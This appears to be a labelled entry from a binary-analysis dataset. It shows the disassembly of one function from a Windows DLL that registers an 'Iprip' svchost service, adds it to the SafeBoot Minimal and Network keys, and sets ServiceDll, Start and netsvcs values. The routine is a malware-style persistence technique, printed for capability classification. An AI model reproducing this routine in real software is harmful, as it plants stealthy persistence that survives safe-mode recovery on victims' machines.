Function at 0x10003d09
Capabilities:
Manipulate safe mode programs

Disassembly:
mov eax, 0x1000d07a
call fcn.10007e4c
sub esp, 0x4d0
lea ecx, [ebp - 0x454]
call fcn.10006884
and dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.10001000
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.10001000
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.10001000
mov byte [ebp - 4], 3
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push str.ControlSafeBootMinimalIprip_
push 0x100119a0
lea eax, [ebp - 0x464]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4a4], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x4a4]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.1000697a
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x464]
call fcn.100010fa
push 0x100108c4
push 0x10011ae8
lea ecx, [ebp - 0x454]
call fcn.10006953
push str.Service
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
test eax, eax
je 0x10003e01
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006852
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10003e14
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
push str.ControlSafeBootNetworkIprip_
push 0x100119a0
lea eax, [ebp - 0x46c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x4ac], eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x4ac]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.1000697a
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x46c]
call fcn.100010fa
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
test eax, eax
je 0x10003e96
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006852
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10003ea9
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
push str.ServicesIprip_
push 0x100119a0
lea eax, [ebp - 0x474]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4b4], eax
mov byte [ebp - 4], 6
push dword [ebp - 0x4b4]
lea ecx, [ebp - 0x45c]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x474]
call fcn.100010fa
lea ecx, [ebp - 0x45c]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.1000697a
push 0x10010904
push str.ErrorControl
lea ecx, [ebp - 0x454]
call fcn.10006953
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d48
test eax, eax
je 0x10003f3f
cmp dword [ebp - 0x18], 1
je 0x10003fa5
movzx eax, word [ebp - 0x30]
add eax, 0x5b95a95c
xor eax, 0x853ec5bb
cmp dword [ebp - 0x18], eax
jne 0x10003f8d
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.100010fa
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.100010fa
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100010fa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x454]
call fcn.10006900
jmp 0x10004504
mov dword [ebp - 0x18], 1
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d48
push str._SystemRoot_System32_svchost.exe__k_netsvcs
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0x1001094c
push str.ImagePath
lea ecx, [ebp - 0x454]
call fcn.10006953
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
test eax, eax
je 0x10003ff4
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006852
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10004007
push 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
push str.LocalSystem
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0x1001096c
push str.ObjectName
lea ecx, [ebp - 0x454]
call fcn.10006953
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
test eax, eax
je 0x10004056
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006852
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10004069
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
push 0x10010980
push str.Start
lea ecx, [ebp - 0x454]
call fcn.10006953
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d48
test eax, eax
je 0x10004099
cmp dword [ebp - 0x18], 2
je 0x100040b1
mov dword [ebp - 0x18], 2
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d48
push 0x10010990
push str.Type
lea ecx, [ebp - 0x454]
call fcn.10006953
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d48
test eax, eax
je 0x100040e1
cmp dword [ebp - 0x18], 0x20
je 0x100040f9
mov dword [ebp - 0x18], 0x20
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d48
push 0x100109a0
push str.DeleteFlag
lea ecx, [ebp - 0x454]
call fcn.10006953
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d48
test eax, eax
je 0x1000412e
lea ecx, [ebp - 0x454]
call fcn.10006e40
push str.Parameters_
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4b8], eax
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x4bc], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x4bc]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.1000697a
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x47c]
call fcn.100010fa
push 0x100119f0
push 0x10011a20
lea eax, [ebp - 0x484]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4c0], eax
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
mov byte [ebp - 4], 8
push dword [ebp - 0x4c4]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x484]
call fcn.100010fa
push 0x100109c0
push str.ServiceDll
lea ecx, [ebp - 0x454]
call fcn.10006953
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
test eax, eax
je 0x10004213
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006852
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10004239
push 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
cmp dword [0x10011aa8], 0
je 0x10004239
mov dword [0x10011aa4], 1
push str.InprocServer32_
push 0x10011a38
lea eax, [ebp - 0x48c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4c8], eax
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x4cc], eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x4cc]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.1000697a
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x48c]
call fcn.100010fa
push 0x100109e4
push 0x10011aec
lea ecx, [ebp - 0x454]
call fcn.10006953
cmp dword [0x10011a00], 1
jne 0x100042fa
push 0x100119e0
push 0x10011a20
lea eax, [ebp - 0x494]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x4d4], eax
mov byte [ebp - 4], 0xa
push dword [ebp - 0x4d4]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x494]
call fcn.100010fa
jmp 0x10004346
push 0x100119d8
push 0x10011a20
lea eax, [ebp - 0x49c]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x4dc], eax
mov byte [ebp - 4], 0xb
push dword [ebp - 0x4dc]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x49c]
call fcn.100010fa
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
test eax, eax
je 0x10004373
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006852
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10004399
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
cmp dword [0x10011aa8], 0
je 0x10004399
mov dword [0x10011aa4], 1
mov ecx, 0x100119d0
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.1000697a
push 0x100109ec
push str.Flags
lea ecx, [ebp - 0x454]
call fcn.10006953
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d48
test eax, eax
je 0x100043df
cmp dword [ebp - 0x18], 0
je 0x100043f4
and dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d48
mov ecx, 0x10011a58
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.1000697a
push 0x100109fc
push 0x10011af0
lea ecx, [ebp - 0x454]
call fcn.10006953
push 0x10011af4
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
test eax, eax
jne 0x10004456
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
mov ecx, 0x10011998
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.1000697a
push 0x10010a04
push str.netsvcs
lea ecx, [ebp - 0x454]
call fcn.10006953
push 2
push 1
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
test eax, eax
je 0x100044ce
push 0x10010a14
lea ecx, [ebp - 0x20]
call fcn.100014ae
test eax, eax
jge 0x100044ce
push str.Iprip
push 0x10010a28
lea ecx, [ebp - 0x20]
call fcn.10001a26
push 2
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a5b
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.100010fa
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.100010fa
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100010fa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x454]
call fcn.10006900
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret